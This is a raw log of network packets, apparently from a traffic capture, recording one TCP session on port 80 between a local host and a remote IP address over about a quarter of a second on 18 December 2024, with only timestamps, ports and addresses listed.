Dec 18, 2024 11:09:30.439676046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.440087080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.440557003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.440623045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.440666914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.440859079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.441535950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.441592932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.441637993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.441714048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.442553997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.442603111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.442645073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.442708969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.443542957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.443928957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.443969011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.444607973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.444705009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.444741964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.445449114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.445487022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.445564032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.445641994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.446418047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.446471930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.446516037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.446676970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.447412968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.447453976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.447527885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.447561979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.448415041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.448463917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.448559999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.448606014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.449378014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.449498892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.449549913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.450364113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.451689959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.455682039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.455755949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.455790043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.455832005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.456093073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.456130028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.456171036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.456209898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.457292080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.457343102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.457389116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.457427025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.458065987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.458111048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.458168983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.458204031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.459053040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.459089994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.459168911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.459203005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.460901976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.460917950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.460958958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.461005926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.461085081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.461127996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.461163998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.462447882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.462462902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.462493896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.462515116 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.463026047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.463073015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.463094950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.463128090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.464000940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.464035988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.464050055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.464073896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.464946985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.464993000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.465068102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.465121031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.465970993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.466084003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.466123104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.466928005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.467016935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.467056990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.467879057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.467921019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.467988968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.468894005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.468934059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.468990088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.469070911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.469871998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.469944954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.469994068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.470118046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.470843077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.470892906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.470902920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.470937967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.471837044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.471882105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.471961975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.471997976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.472820044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.472866058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.472923994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.472955942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.473818064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.473869085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.473918915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.473957062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.474792957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.474944115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.474982023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.475775957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.475888968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.475933075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.476733923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.476777077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.476849079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.476888895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.477705956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.477773905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.477780104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.477807999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.478677988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.478722095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.478760958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.478801012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.479706049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.479748011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.479908943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.479948997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.480762005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.480809927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.480844975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.480879068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.481666088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.481803894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.481839895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.482628107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.482769966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.482817888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.483751059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.483793974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.483870983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.484599113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.484638929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.484726906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.485586882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.485647917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.485713959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.485753059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.486547947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.486726999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.486768007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.487546921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.487639904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.487679005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.488533974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.488575935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.488645077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.489509106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.489551067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.489593983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.490228891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.490497112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.490598917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.490641117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.491494894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.491601944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.491647005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.492647886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.492691040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.492702007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.492741108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.493443012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.493484020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.493532896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.493572950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.629760981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.629796982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.629910946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.630213976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.630378962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.630603075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.631122112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.631169081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.631192923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.631221056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.632112980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.632168055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.632203102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.633210897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.633264065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.633347988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.633732080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.634072065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.634202003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.634248972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.635039091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.635143995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.635194063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.636064053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.636117935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.636162043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.637008905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.637109995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.637402058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.637980938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.638037920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.638117075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.638154984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.638989925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.639040947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.639077902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.639111996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.639971972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.640033960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.640110970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.640146017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.641010046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.641050100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.641124964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.641913891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.641952038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.646862030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.646908998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.646944046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.646980047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.647262096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.647325993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.647414923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.647464991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.648405075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.648423910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.648466110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.649249077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.649358988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.649363041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.649415970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.650229931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.650269032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.650319099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.650356054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.651197910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.651237965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.651297092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.651403904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.652230024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.652271032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.652304888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.652345896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.653167963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.653256893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.653353930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.653393030 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.654170990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.654294014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.654314995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.654356003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.655118942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.655239105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.655251980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.655291080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.656124115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.656173944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.656219959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.656276941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.657103062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.657161951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.657164097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.657210112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.658050060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.658104897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.658159971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.658210039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.659060955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.659112930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.659157038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.659203053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.660053015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.660095930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.660164118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.660207033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.661119938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.661143064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.661195040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.662103891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.662168026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.662189007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.662209988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.663058043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.663100958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.663126945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.663166046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.663985968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.664028883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.664158106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.664222002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.664918900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.664978027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.665000916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.665069103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.665918112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.665960073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.666009903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.666050911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.666918039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.666961908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.666961908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.667000055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.667890072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.667937994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.668040037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.668082952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.669004917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.669042110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.669049978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.669181108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.670032978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.670075893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.670237064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.670277119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.670835972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.670875072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.670924902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.670963049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.671843052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.671919107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.671977043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.672013998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.672797918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.672842026 CET	49912	80	192.168.2.6	31.41.244.11
